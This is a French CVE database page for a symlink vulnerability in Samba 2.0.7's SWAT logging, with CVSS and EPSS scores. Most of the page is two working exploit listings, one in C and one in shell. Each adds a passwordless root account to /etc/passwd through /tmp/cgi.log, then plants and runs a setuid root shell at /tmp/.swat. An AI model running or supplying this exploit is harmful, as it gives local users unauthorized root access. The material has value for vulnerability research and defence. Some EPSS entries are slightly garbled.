CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Samba Web Administration Tool (SWAT) in Samba 2.0.7 allows local users to overwrite arbitrary files via a symlink attack on the cgi.log file.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.53%
–
–
2022-03-27
–
–
2.53%
–
–
2022-04-03
–
–
2.53%
–
–
2022-06-19
–
–
2.53%
–
–
2022-12-25
–
–
2.53%
–
–
2023-01-01
–
–
2.53%
–
–
2023-02-26
–
–
2.53%
–
–
2023-03-12
–
–
–
0.04%
–
2024-02-18
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-12-22
–
–
–
0.05%
–
2025-02-09
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-02-16
–
–
–
0.05%
–
2025-03-18
–
–
–
–
0.21%
2025-03-30
–
–
–
–
0.21%
2025-04-15
–
–
–
–
0.21%
2025-05-01
–
–
–
–
0.21%
2025-05-04
–
–
–
–
0.21%
2025-05-04
–
–
–
–
0.21,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2000-10-31 23h00 +00:00 Auteur : Optyx EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/1872/info
The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or Netbios protocol. Samba ships with a utility titled SWAT (Samba Web Administration Tool) which is used for remote administration of the Samba server and is by default set to run from inetd as root on port 701. Certain versions of this software ship with a vulnerability local users can use to leverage root access.
This problem in particular is a symlink problem where user can take advantage of poor programming in SWAT's logging facilities (which are not enabled by default) to overwrite files with user specified data. In this case, the logging is enabled under SWAT it logs by default to:
/tmp/cgi.log
This file logs all traffic to the web service, regrettably this file does not have restrictive permissions set on it and local users may symlink
the file to any other file (which they have read access to) on the system. They can then connect to the port in question (701 by default) and have the data they type in entered into a file of their choice, typically /etc/passwd .
/****************************************************************************\
** **
** Swat exploit for Samba 2.0.7 compiled with the cgi logging turned on **
** **
** shell script version available for our friends, the self-proclaimed **
** security experts at corky.net (h4h32h4h4h4h4), using netcat, as they **
** deem more elegant than a self-contained exploit (ala this .c), l4m3 **
** exploit by optyx <optyx@uberhax0r.net> **
** vulnerability discoverd by miah <miah@uberhax0r.net> **
** **
** on a side note, Just Marc rocks, so much, he doesn't set an sa pass **
** on his mysql server (doesn't take an elite hacker to use mysqlclient) **
** oh and a special message: **
** Hey babe, your hair's alright Hey babe, let's go out tonight (h4h4h) **
** **
\****************************************************************************/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define REALLY_FUCKING_LONG_COMMAND "su uberhaxr -c \"cp -pdf /tmp/.bak \
/etc/passwd; chown root.root /etc/passwd; touch -fr /tmp/.bak /etc/passwd\""
int main(void) {
int r, s;
struct sockaddr_in s_addr;
printf("backing up /etc/passwd\n");
system("cp -pd /etc/passwd /tmp/.bak");
system("touch -r /etc/passwd /tmp/.bak");
if(system("/bin/ln -sf /etc/passwd /tmp/cgi.log") > 0) {
printf("error, /tmp/cgi.log could not be linked to /etc/passwd\n");
unlink("/tmp/.bak");
exit(-1);
}
printf("connecting to swat\n");
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if(s < 0) {
printf("error, could not create socket\n");
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
exit(-1);
}
s_addr.sin_family = PF_INET;
s_addr.sin_port = htons(901);
s_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
r = connect(s, (struct sockaddr *) &s_addr, sizeof(s_addr));
if(r==-1) {
printf("error, cannot connect to swat\n");
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
exit(-1);
}
send(s, "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash\n", 1024, 0);
close(s);
if(system("su -l uberhaxr -c \"cp -f /bin/bash /tmp/.swat\"") > 0) {
printf("exploit failed\n");
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
exit(-1);
}
system("su -l uberhaxr -c \"chmod u+s /tmp/.swat\"");
printf("restoring /etc/passwd\n");
system(REALLY_FUCKING_LONG_COMMAND);
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
printf("got root? (might want to rm /tmp/.swat)\n");
system("/tmp/.swat");
return 0;
}
Date de publication : 2000-10-31 23h00 +00:00 Auteur : Optyx EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/1872/info
The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or Netbios protocol. Samba ships with a utility titled SWAT (Samba Web Administration Tool) which is used for remote administration of the Samba server and is by default set to run from inetd as root on port 701. Certain versions of this software ship with a vulnerability local users can use to leverage root access.
This problem in particular is a symlink problem where user can take advantage of poor programming in SWAT's logging facilities (which are not enabled by default) to overwrite files with user specified data. In this case, the logging is enabled under SWAT it logs by default to:
/tmp/cgi.log
This file logs all traffic to the web service, regrettably this file does not have restrictive permissions set on it and local users may symlink
the file to any other file (which they have read access to) on the system. They can then connect to the port in question (701 by default) and have the data they type in entered into a file of their choice, typically /etc/passwd .
#!/bin/sh
# swat for samba 2.0.7 compiled with cgi logging exploit
# discovered by miah <miah@uberhax0r.net>
# exploit by optyx <optyx@uberhax0r.net>
if [ -f /tmp/cgi.log ]; then
if [ `rm -f /tmp/cgi.log` ]; then
echo "/tmp/cgi.log exists and cannot be deleted"
exit
fi
fi
echo "backing up /etc/passwd"
cp -pd /etc/passwd /tmp/.bak
touch -r /etc/passwd /tmp/.bak
ln -s /etc/passwd /tmp/cgi.log
echo "connecting to swat"
echo -e "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash\n"| nc -w 1 localhost swat
if [ `su -l uberhaxr -c "cp /bin/bash /tmp/.swat"` ]; then
echo "exploit failed"
rm /tmp/.bak
rm /tmp/cgi.log
exit
fi
su -l uberhaxr -c "chmod u+s /tmp/.swat"
echo "restoring /etc/passwd"
su -l uberhaxr -c "cp -pd /tmp/.bak /etc/passwd; \
chown root.root /etc/passwd; \
touch -r /tmp/.bak /etc/passwd"
rm /tmp/.bak
rm /tmp/cgi.log
echo "got root? (might want to rm /tmp/.swat)"
/tmp/.swat